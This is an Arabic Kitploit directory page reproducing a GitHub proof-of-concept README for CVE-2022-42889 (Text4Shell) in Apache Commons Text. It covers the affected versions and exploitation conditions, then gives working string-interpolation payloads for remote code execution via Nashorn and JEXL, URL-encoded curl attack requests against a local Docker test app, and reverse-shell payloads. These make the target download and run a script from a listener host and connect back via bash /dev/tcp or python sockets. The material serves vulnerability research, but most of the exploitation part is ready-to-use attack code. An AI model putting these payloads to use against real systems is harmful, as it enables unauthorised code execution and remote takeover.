Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-42889-text4shell — CVE-2022-42889 المعروف بـ Text4Shell بحث و PoC | Kitploit
أدوات/GitHubGitHub/cxzero/cve-2022-42889-text4shell
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

CVE-2022-42889 المعروف بـ Text4Shell بحث و PoC

عرض المستودع
203منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-42889 والمعروف بـ text4shell

إثبات المفهوم (PoC) لثغرة تم اكتشافها مؤخرًا في Apache Commons Text بواسطة @pwntester:

كما ورد في https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:

الثغرة موجودة في كائن interpolator الخاص بـ StringSubstitutor. يتم إنشاء interpolator بواسطة طريقة StringSubstitutor.createInterpolator() وسيسمح بعمليات البحث عن السلاسل النصية كما هو محدد في StringLookupFactory. يمكن استغلال ذلك عن طريق تمرير سلسلة نصية “${prefix:name}” حيث prefix هو البحث المذكور. استخدام عمليات البحث “script” أو “dns” أو “url” سيسمح بسلسلة نصية مصممة لتنفيذ نصوص برمجية عشوائية عند تمريرها إلى كائن interpolator.

الإصدارات المتأثرة

الإصدارات المتأثرة من Apache Commons Text هي من 1.5 إلى 1.9. تم إصلاحها في الإصدار 1.10.

شروط الاستغلال

  • تشغيل إصدار من Apache Commons Text من 1.5 إلى 1.9
  • استخدام فئة interpolator StringSubstitutor

لاستغلالها عن بُعد، يجب استخدام المدخلات التي يتحكم فيها المهاجم كمدخل لعملية interpolator الخاصة بـ StringSubstitutor. تحديدًا، في طريقتي StringSubstitutor.replace() أو StringSubstitutor.replaceIn()

محركات جافا سكريبت الأخرى

منذ JDK 15 تمت إزالة محرك Nashorn JavaScript: https://openjdk.org/jeps/372. ولكن في حالة تضمين تبعيات طرف ثالث مثل JEXL، يمكن حدوث تنفيذ تعليمات برمجية عن بُعد (RCE) في Apache Commons Text (https://twitter.com/pwntester/status/1582321752566161409)

الاستغلال

interpolator script

يمكن استغلالها لتحقيق تنفيذ تعليمات برمجية عن بُعد (RCE).

JDK < 15

محرك Nashorn:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

في حالة استخدام JEXL من طرف ثالث:

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

interpolator dns

يمكن أن يؤدي إلى بحث DNS:

root@kitploit:~
${dns:address|commons.apache.org}

interpolator url

يتصل بعنوان URL المحدد ويحاول جلب المحتوى:

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

تجميع إثبات المفهوم يدويًا

قالب مبني على https://start.spring.io/

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

تشغيل التطبيق في Docker

باستخدام JVM 11

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

باستخدام JVM 19

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

إثباتات المفهوم المقدمة

توجد نقاط نهاية مختلفة لاختبار متجهات الهجوم المختلفة المذكورة.

/poc1

image

root@kitploit:~
curl http://localhost:8080/poc1

image

/poc2

image

root@kitploit:~
curl http://localhost:8080/poc2

image

/poc3

image

root@kitploit:~
curl http://localhost:8080/poc3

image

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

image

باستخدام Nashorn:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

image image

باستخدام JEXL:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

image

image

الحصول على شل عكسي (Reverse Shell)

للتبسيط، أستخدم واجهة Docker الافتراضية لمستمع netcat. بعد البحث، توصلت إلى هذه الحمولات مع شل عكسي bash و python تعمل بشكل جيد:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

حيث يتم تقديم rev.sh بالمحتوى المحتمل التالي:

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image image

image image

المراجع

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

إشادات بإثباتات مفاهيم أخرى

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
تنزيل الأداة